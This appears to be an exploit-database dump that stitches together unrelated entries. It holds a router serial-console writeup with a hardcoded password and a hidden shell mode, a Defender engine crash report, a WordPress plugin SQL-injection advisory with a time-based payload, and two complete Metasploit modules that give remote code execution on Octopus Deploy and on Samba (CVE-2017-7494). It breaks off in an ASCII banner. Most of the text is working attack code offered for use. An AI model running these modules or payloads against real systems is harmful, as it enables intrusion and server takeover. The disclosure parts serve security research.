target: 02:7f875b7c:2ab4a770:4007c4:2aac5010:00
ioctl SIOCGIFINDEX: No such devicecommand> 


Serial connection password: 123456789


Hidden 'ate' mode:

.text:00401BB0
.text:00401BB0 loc_401BB0:                              # CODE XREF: main+284j
.text:00401BB0                 la      $t9, lineedit_read_key
.text:00401BB4                 nop
.text:00401BB8                 jalr    $t9 ; lineedit_read_key
.text:00401BBC                 move    $a0, $s0
.text:00401BC0                 lw      $gp, 0xC8+var_B8($sp)
.text:00401BC4                 nop
.text:00401BC8                 la      $t9, lineedit_handle_byte
.text:00401BCC                 nop
.text:00401BD0                 jalr    $t9 ; lineedit_handle_byte
.text:00401BD4                 move    $a0, $v0
.text:00401BD8                 lw      $gp, 0xC8+var_B8($sp)
.text:00401BDC
.text:00401BDC loc_401BDC:                              # CODE XREF: main+244j
.text:00401BDC                 lw      $v1, -0x634C($s1)
.text:00401BE0                 nop
.text:00401BE4                 slti    $v0, $v1, 3
.text:00401BE8                 bnez    $v0, loc_401BB0
.text:00401BEC                 li      $v0, 3
.text:00401BF0                 beq     $v1, $v0, loc_401D48
.text:00401BF4                 nop
.text:00401BF8                 la      $v0, 0x420000
.text:00401BFC                 nop
.text:00401C00                 lw      $v1, (dword_419CB8 - 0x420000)($v0)
.text:00401C04                 li      $v0, 1
.text:00401C08                 bne     $v1, $v0, loc_401C98
.text:00401C0C                 move    $a1, $zero
.text:00401C10                 la      $a0, 0x410000
.text:00401C14                 la      $t9, puts
.text:00401C18                 nop
.text:00401C1C                 jalr    $t9 ; puts
.text:00401C20                 addiu   $a0, (aAteMode - 0x410000)  # "ate mode"
.text:00401C24                 lw      $gp, 0xC8+var_B8($sp)
.text:00401C28                 nop
.text:00401C2C                 la      $v0, stdout
.text:00401C30                 la      $t9, fflush
.text:00401C34                 lw      $a0, (stdout - 0x41A000)($v0)  # stream
.text:00401C38                 jalr    $t9 ; fflush
.text:00401C3C                 nop
.text:00401C40                 lw      $gp, 0xC8+var_B8($sp)
.text:00401C44                 nop
.text:00401C48                 la      $t9, lineedit_back_term
.text:00401C4C                 nop
.text:00401C50                 jalr    $t9 ; lineedit_back_term
.text:00401C54                 nop
.text:00401C58                 lw      $gp, 0xC8+var_B8($sp)
.text:00401C5C                 nop
.text:00401C60                 la      $a0, 0x410000
.text:00401C64                 la      $t9, system
.text:00401C68                 nop
.text:00401C6C                 jalr    $t9 ; system
.text:00401C70                 addiu   $a0, (aSh - 0x410000)  # "sh"
.text:00401C74                 lw      $gp, 0xC8+var_B8($sp)
.text:00401C78                 nop
.text:00401C7C                 la      $t9, lineedit_set_term
.text:00401C80                 nop
.text:00401C84                 jalr    $t9 ; lineedit_set_term
.text:00401C88                 nop
.text:00401C8C                 lw      $gp, 0xC8+var_B8($sp)
.text:00401C90                 b       loc_401D48
.text:00401C94                 nop


Web server configuration information disclosure:

http://TARGET/hydra.conf
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1261

A detailed introduction to MsMpEng can be found in  issue #1252 , so I will skip the background story here.

Through fuzzing, we have discovered a number of ways to crash the service (and specifically code in the mpengine.dll module), by feeding it with malformed input testcases to scan. A summary of our findings is shown in the table below:

+==============+===================================+==========================+=============+====================================================+=============================================+
|     Name     |               Type                |       Requirements       | Access Type |                  Observed symbol                   |                  Comments                   |
+==============+===================================+==========================+=============+====================================================+=============================================+
| corruption_1 | Heap buffer overflow              | PageHeap for MpMsEng.exe | -           | free() called by NET_thread_ctx_t__FreeState_void_ | One-byte overflow.                          |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| corruption_2 | Heap corruption                   | PageHeap for MpMsEng.exe | -           | free() called by CRsaPublicKey__Decrypt_uchar      | May crash in other ways, e.g. invalid read. |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| corruption_3 | Unspecified memory corruption (?) | -                        | -           | netvm_parse_routine_netinvoke_handle_t             | Different crashes with/out PageHeap.        |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| null_1       | NULL Pointer Dereference          | -                        | READ        | nUFSP_pdf__handleXFA_PDF_Value                     |                                             |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| null_2       | NULL Pointer Dereference          | -                        | READ        | nUFSP_pdf__expandObjectStreams_void                |                                             |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| null_3       | NULL Pointer Dereference          | -                        | READ        | NET_context_unsigned                               |                                             |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| null_4       | NULL Pointer Dereference          | -                        | READ        | nUFSP_pdf__expandObjectStreams_void_               | Similar to null_2, may be the same bug.     |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| div_by_zero  | Division by zero                  | -                        | -           | x86_code_cost__get_cost_int                        |                                             |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
| recursion    | Deep/infinite recursion           | -                        | -           | __EH_prolog3_catch_GS                              |                                             |
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+

The "corruption_1-3" issues are the most important ones, as they represent memory corruption problems and could potentially lead to execution of arbitrary code. On the other hand, "null_1-4", "div_by_zero" and "recursion" are low severity bugs that can only be used to bring the service process down. We have verified that all listed crashes occur on Windows 7 as soon as an offending sample is saved to disk and discovered by MsMpEng. For "corruption_1-2", the PageHeap mechanism must be enabled for the MsMpEng.exe program in order to reliably observe the unhandled exception.

Attached is a ZIP archive (password: "mpengbugs") with up to 3 testcases for each of the 9 unique crashes.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42081.zip
            
            DefenseCode ThunderScan SAST Advisory
           WordPress Huge-IT Video Gallery Plugin
                   Security Vulnerability


Advisory ID:    DC-2017-01-009
Advisory Title: WordPress Huge-IT Video Gallery plugin SQL injection
 vulnerability
Advisory URL:     http://www.defensecode.com/advisories.php
Software:         WordPress Huge-IT Video Gallery plugin
Language:        PHP
Version:        2.0.4 and below
Vendor Status:    Vendor contacted, update released
Release Date:    2017/05/24
Risk:            High



1. General Overview
===================
During the security audit of Huge-IT Video Gallery plugin for
WordPress CMS, security vulnerability was discovered using DefenseCode
ThunderScan application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com


2. Software Overview
====================
According to the developers, Gallery Video plugin was created and
specifically designed to show video links in unusual splendid gallery
types supplemented of many gallery options.

According to wordpress.org, it has more than 40,000 active installs.

Homepage:
https://wordpress.org/plugins/gallery-video/
http://huge-it.com/wordpress-video-gallery/


3. Vulnerability Description
==================================
During the security analysis, ThunderScan discovered SQL injection
vulnerability in Huge-IT Video Gallery WordPress plugin.

The easiest way to reproduce the vulnerability is to visit the
provided URL while being logged in as administrator or another user
that is authorized to access the plugin settings page. Users that do
not have full administrative privileges could abuse the database
access the vulnerability provides to either escalate their privileges
or obtain and modify database contents they were not supposed to be
able to.

Due to the missing nonce token, the attacker the vulnerable code is
also directly exposed to attack vectors such as Cross Site request
forgery (CSRF).

3.1 SQL injection
  Vulnerable Function:    $wpdb->get_var( $query );
  Vulnerable Variable:    $_POST['cat_search']
  Vulnerable URL:       
http://www.vulnerablesite.com/wp-admin/admin.php?page=video_galleries_huge_it_video_gallery
  Vulnerable Body:        cat_search=DefenseCode AND (SELECT * FROM (SELECT(SLEEP(5)))DC)
  File:                   
gallery-video\includes\admin\class-gallery-video-galleries.php
    ---------
    107    $cat_id = sanitize_text_field( $_POST['cat_search'] );
    ...
    118       $where .= " AND sl_width=" . $cat_id;
    ...
    127    $query = "SELECT COUNT(*) FROM " . $wpdb->prefix .
"huge_it_videogallery_galleries" . $where;
    128    $total = $wpdb->get_var( $query );
    ---------
 

4. Solution
===========
Vendor resolved the security issues. All users are strongly advised to
update WordPress Huge-IT Video Gallery plugin to the latest available
version.


5. Credits
==========
Discovered with DefenseCode ThunderScan Source Code Security Analyzer
by Neven Biruski.

 
6. Disclosure Timeline
======================
2017/03/31    Vendor contacted
2017/04/06    Vendor responded
2017/05/24    Advisory released to the public


7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
audits of application source code. ThunderScan SAST performs fast and
accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
of active web applications. WebScanner will test a website's security
by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.

Subscribe for free software trial on our website
http://www.defensecode.com/ .

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'json'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Octopus Deploy Authenticated Code Execution',
      'Description' => %q{
          This module can be used to execute a payload on an Octopus Deploy server given
          valid credentials or an API key. The payload is execued as a powershell script step
          on the Octopus Deploy server during a deployment.
      },
      'License'     => MSF_LICENSE,
      'Author'      => [ 'James Otten <jamesotten1[at]gmail.com>' ],
      'References'  =>
        [
          # Octopus Deploy docs
          [ 'URL', 'https://octopus.com' ]
        ],
      'DefaultOptions'  =>
        {
          'WfsDelay'    => 30,
          'EXITFUNC'    => 'process'
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          [ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'May 15 2017'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
        OptString.new('APIKEY', [ false, 'API key to use instead of username and password']),
        OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']),
        OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added'])
      ]
    )
  end

  def check
    res = nil
    if datastore['APIKEY']
      res = check_api_key
    elsif datastore['USERNAME'] && datastore['PASSWORD']
      res = do_login
    else
      begin
        fail_with(Failure::BadConfig, 'Need username and password or API key')
      rescue Msf::Exploit::Failed => e
        vprint_error(e.message)
        return CheckCode::Unknown
      end
    end
    disconnect
    return CheckCode::Unknown if res.nil?
    if res.code.between?(400, 499)
      vprint_error("Server rejected the credentials")
      return CheckCode::Unknown
    end
    CheckCode::Appears
  end

  def exploit
    # Generate the powershell payload
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)
    step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))
    session = create_octopus_session unless datastore['APIKEY']

    #
    # Get project steps
    #
    print_status("Getting available projects")
    project = get_project(session)
    project_id = project['Id']
    project_name = project['Name']
    print_status("Using project #{project_name}")

    print_status("Getting steps to #{project_name}")
    steps = get_steps(session, project_id)
    added_step = make_powershell_step(command, step_name)
    steps['Steps'].insert(0, added_step)
    modified_steps = JSON.pretty_generate(steps)

    #
    # Add step
    #
    print_status("Adding step #{step_name} to #{project_name}")
    put_steps(session, project_id, modified_steps)

    #
    # Make release
    #
    print_status('Getting available channels')
    channels = get_channel(session, project_id)
    channel = channels['Items'][0]['Id']
    channel_name = channels['Items'][0]['Name']
    print_status("Using channel #{channel_name}")

    print_status('Getting next version')
    version = get_version(session, project_id, channel)
    print_status("Using version #{version}")

    release_params = {
      "ProjectId"        => project_id,
      "ChannelId"        => channel,
      "Version"          => version,
      "SelectedPackages" => []
    }
    release_params_str = JSON.pretty_generate(release_params)
    print_status('Creating release')
    release_id = do_release(session, release_params_str)
    print_status("Release #{release_id} created")

    #
    # Deploy
    #
    dash = do_get_dashboard(session, project_id)

    environment = dash['Environments'][0]['Id']
    environment_name = dash['Environments'][0]['Name']
    skip_steps = do_get_skip_steps(session, release_id, environment, step_name)
    deployment_params = {
      'ReleaseId'            => release_id,
      'EnvironmentId'        => environment,
      'SkipActions'          => skip_steps,
      'ForcePackageDownload' => 'False',
      'UseGuidedFailure'     => 'False',
      'FormValues'           => {}
    }
    deployment_params_str = JSON.pretty_generate(deployment_params)
    print_status("Deploying #{project_name} version #{version} to #{environment_name}")
    do_deployment(session, deployment_params_str)

    #
    # Delete step
    #
    print_status("Getting updated steps to #{project_name}")
    steps = get_steps(session, project_id)
    print_status("Deleting step #{step_name} from #{project_name}")
    steps['Steps'].each do |item|
      steps['Steps'].delete(item) if item['Name'] == step_name
    end
    modified_steps = JSON.pretty_generate(steps)
    put_steps(session, project_id, modified_steps)
    print_status("Step #{step_name} deleted")

    #
    # Wait for shell
    #
    handler
  end

  def get_project(session)
    path = 'api/projects'
    res = send_octopus_get_request(session, path, 'Get projects')
    body = parse_json_response(res)
    body['Items'].each do |item|
      return item if item['IsDisabled'] == false
    end
    fail_with(Failure::Unknown, 'No suitable projects found.')
  end

  def get_steps(session, project_id)
    path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
    res = send_octopus_get_request(session, path, 'Get steps')
    body = parse_json_response(res)
    body
  end

  def put_steps(session, project_id, steps)
    path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
    send_octopus_put_request(session, path, 'Put steps', steps)
  end

  def get_channel(session, project_id)
    path = "api/projects/#{project_id}/channels"
    res = send_octopus_get_request(session, path, 'Get channel')
    parse_json_response(res)
  end

  def get_version(session, project_id, channel)
    path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}"
    res = send_octopus_get_request(session, path, 'Get version')
    body = parse_json_response(res)
    body['NextVersionIncrement']
  end

  def do_get_skip_steps(session, release, environment, payload_step_name)
    path = "api/releases/#{release}/deployments/preview/#{environment}"
    res = send_octopus_get_request(session, path, 'Get skip steps')
    body = parse_json_response(res)
    skip_steps = []
    body['StepsToExecute'].each do |item|
      if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped']
        skip_steps.push(item['ActionId'])
      end
    end
    skip_steps
  end

  def do_release(session, params)
    path = 'api/releases'
    res = send_octopus_post_request(session, path, 'Do release', params)
    body = parse_json_response(res)
    body['Id']
  end

  def do_get_dashboard(session, project_id)
    path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}"
    res = send_octopus_get_request(session, path, 'Get dashboard')
    parse_json_response(res)
  end

  def do_deployment(session, params)
    path = 'api/deployments'
    send_octopus_post_request(session, path, 'Do deployment', params)
  end

  def make_powershell_step(ps_payload, step_name)
    prop = {
      'Octopus.Action.RunOnServer' => 'true',
      'Octopus.Action.Script.Syntax' => 'PowerShell',
      'Octopus.Action.Script.ScriptSource' => 'Inline',
      'Octopus.Action.Script.ScriptBody' => ps_payload
    }
    step = {
      'Name' => step_name,
      'Environments' => [],
      'Channels' => [],
      'TenantTags' => [],
      'Properties' => { 'Octopus.Action.TargetRoles' => '' },
      'Condition' => 'Always',
      'StartTrigger' => 'StartWithPrevious',
      'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ]
    }
    step
  end

  def send_octopus_get_request(session, path, nice_name = '')
    request_path = normalize_uri(datastore['PATH'], path)
    headers = create_request_headers(session)
    res = send_request_raw(
      'method' => 'GET',
      'uri' => request_path,
      'headers' => headers,
      'SSL' => ssl
    )
    check_result_status(res, request_path, nice_name)
    res
  end

  def send_octopus_post_request(session, path, nice_name, data)
    res = send_octopus_data_request(session, path, data, 'POST')
    check_result_status(res, path, nice_name)
    res
  end

  def send_octopus_put_request(session, path, nice_name, data)
    res = send_octopus_data_request(session, path, data, 'PUT')
    check_result_status(res, path, nice_name)
    res
  end

  def send_octopus_data_request(session, path, data, method)
    request_path = normalize_uri(datastore['PATH'], path)
    headers = create_request_headers(session)
    headers['Content-Type'] = 'application/json'
    res = send_request_raw(
      'method' => method,
      'uri' => request_path,
      'headers' => headers,
      'data' => data,
      'SSL' => ssl
    )
    res
  end

  def check_result_status(res, request_path, nice_name)
    if !res || res.code < 200 || res.code >= 300
      req_name = nice_name || 'Request'
      fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]")
    end
  end

  def create_request_headers(session)
    headers = {}
    if session.blank?
      headers['X-Octopus-ApiKey'] = datastore['APIKEY']
    else
      headers['Cookie'] = session
      headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token')
    end
    headers
  end

  def get_csrf_token(session, csrf_cookie)
    key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)
    key_vals.each do |name, value|
      return value if name.starts_with?(csrf_cookie)
    end
    fail_with(Failure::Unknown, 'CSRF token not found')
  end

  def parse_json_response(res)
    begin
      json = JSON.parse(res.body)
      return json
    rescue JSON::ParserError
      fail_with(Failure::Unknown, 'Failed to parse response json')
    end
  end

  def create_octopus_session
    res = do_login
    if res && res.code == 404
      fail_with(Failure::BadConfig, 'Incorrect path')
    elsif !res || (res.code != 200)
      fail_with(Failure::NoAccess, 'Could not initiate session')
    end
    res.get_cookies
  end

  def do_login
    json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] })
    path = normalize_uri(datastore['PATH'], '/api/users/login')
    res = send_request_raw(
      'method' => 'POST',
      'uri' => path,
      'ctype' => 'application/json',
      'data' => json_post_data,
      'SSL' => ssl
    )

    if !res || (res.code != 200)
      print_error("Login failed")
    elsif res.code == 200
      report_octopusdeploy_credential
    end

    res
  end

  def check_api_key
    headers = {}
    headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || ''
    path = normalize_uri(datastore['PATH'], '/api/serverstatus')
    res = send_request_raw(
      'method' => 'GET',
      'uri' => path,
      'headers' => headers,
      'SSL' => ssl
    )

    print_error("Login failed") if !res || (res.code != 200)

    vprint_status(res.body)

    res
  end

  def report_octopusdeploy_credential
    service_data = {
      address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
      port: datastore['RPORT'],
      service_name: (ssl ? "https" : "http"),
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      private_type: :password,
      private_data: datastore['PASSWORD'].downcase,
      username: datastore['USERNAME']
    }

    credential_data.merge!(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      access_level: 'Admin',
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    }
    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
          'hdm',                                  # Metasploit Module
          'Brendan Coles <bcoles[at]gmail.com>',  # Check logic
          'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      #
      # Targets are currently limited by platforms with ELF-SO payload wrappers
      #
      'Targets'         =>
        [

          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          #
          # Not ready yet
          # [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Mar 24 2017',
      'DefaultTarget'   => 1))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])

    register_advanced_options(
      [
        OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
      ])
  end


  def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
      candidates << datastore['SMB_SHARE_BASE']
    end

    %W{ /volume1 /volume2 /volume3 /volume4
        /shared /mnt /mnt/usb /media /mnt/media
        /var/samba /tmp /home /home/shared
    }.each do |base_name|
      candidates << base_name
      candidates << [base_name, @share]
      candidates << [base_name, @share.downcase]
      candidates << [base_name, @share.upcase]
      candidates << [base_name, @share.capitalize]
      candidates << [base_name, @share.gsub(" ", "_")]
    end

    candidates.uniq
  end

  def enumerate_directories(share)
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def verify_writeable_directory(share, directory="")
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
  end

  def enumerate_shares_lanman
    shares = []
    begin
      res = self.simple.client.trans(
        "\\PIPE\\LANMAN",
        (
          [0x00].pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"  +
          [0x01, 65406].pack("vv")
        ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end
    if res.nil?
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end

    lerror, lconv, lentries, lcount = res['Payload'].to_s[
      res['Payload'].v['ParamOffset'],
      res['Payload'].v['ParamCount']
    ].unpack("v4")

    data = res['Payload'].to_s[
      res['Payload'].v['DataOffset'],
      res['Payload'].v['DataCount']
    ]

    0.upto(lentries - 1) do |i|
      sname,tmp = data[(i * 20) +  0, 14].split("\x00")
      stype     = data[(i * 20) + 14, 2].unpack('v')[0]
      scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
      scoff -= lconv if lconv != 0
      scomm,tmp = data[scoff, data.length - scoff].split("\x00")
      shares << [ sname, share_type(stype), scomm]
    end

    shares
  end

  def probe_module_path(path, simple_client=self.simple)
    begin
      simple_client.create_pipe(path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Probe: #{path}: #{e}")
    end
  end

  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
  end

  def find_writeable_share_path
    @path = nil
    share_info = enumerate_shares_lanman
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path  = found
      break
    end
  end

  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  def upload_payload
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
      wfd = simple.open(filename, 'rwct')
      wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
        payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
      )
      wfd.close

      @payload_name = random_filename
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{@share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{@share}")
      end
    end
  end

  def find_payload

    # Reconnect to IPC$
    simple.connect("\\\\#{rhost}\\IPC$")

    # Look for common paths first, since they can be a lot quicker than hunting PIDs
    print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
    generate_common_locations.each do |location|
      target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
      print_status("Trying location #{target}...")
      probe_module_path(target)
    end

    # Exit early if we already have a session
    return if session_created?

    return unless datastore['BruteforcePID']

    # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
    #      to non-root, but their /proc/pid directories are still owned by root. Trying to
    #      read the /proc/other-pid/cwd/target.so results in permission denied. There is a
    #      good chance that this still works on some embedded systems and odd-ball Linux.

    # Use the PID hunting strategy devised by Tavis Ormandy
    print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")

    # Configure the main connection to have a working directory of the file share
    simple.connect("\\\\#{rhost}\\#{@share}")

    # Use a second connection to brute force the PID of the first connection
    probe_conn = connect(false)
    smb_login(probe_conn)
    probe_conn.connect("\\\\#{rhost}\\#{@share}")
    probe_conn.connect("\\\\#{rhost}\\IPC$")

    # Run from 2 to MAX_PID (ushort) trying to read the other process CWD
    2.upto(32768) do |pid|

      # Look for the PID associated with our main SMB connection
      target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
      vprint_status("Trying PID with target path #{target}...")
      probe_module_path(target, probe_conn)

      # Keep our main connection alive
      if pid % 1000 == 0
         self.simple.client.find_first("\\*")
      end
    end

  end

  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end

    samba_version = Gem::Version.new($1.gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Gem::Version.new('3.5.0')
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Gem::Version.new('4.5.0') &&
       samba_version >= Gem::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Gem::Version.new('4.5.0') &&
       samba_version < Gem::Version.new('4.6.0') &&
       samba_version >= Gem::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Gem::Version.new('4.6.4')
      return CheckCode::Safe
    end

    connect
    smb_login
    find_writeable_share_path
    disconnect

    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
  end

  def exploit
    # Setup SMB
    connect
    smb_login

    # Find a writeable share
    find_writeable

    # Upload the shared library payload
    upload_payload

    # Find and execute the payload from the share
    begin
      find_payload
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Cleanup the payload
    begin
      simple.connect("\\\\#{rhost}\\#{@share}")
      uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
      simple.delete(uploaded_path)
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end

    # Shutdown
    disconnect
  end

end
            
'''
______  ______   _____     ___   _____   _____   _____
| ___ \ | ___ \ |  _  |   |_  | |  ___| /  __ \ |_   _|
| |_/ / | |_/ / | | | |     | | | |__   | /  \/   | |
|  __/  |    /  | | | |     | | |  __|  | |       | |
| |     | |\ \  \ \_/ / /\__/ / | |___  | \__/\   | |
\_|     \_| \_|  \___/  \____/  \____/   \____/   \_/


_____   _   _   _____   _____   _____   _   _  ______   _____   _____  __   __
|_   _| | \ | | /  ___| |  ___| /  __ \ | | | | | ___ \ |_   _| |_   _| \ \ / /
| |   |  \| | \ `--.  | |__   | /  \/ | | | | | |_/ /   | |     | |    \ V /
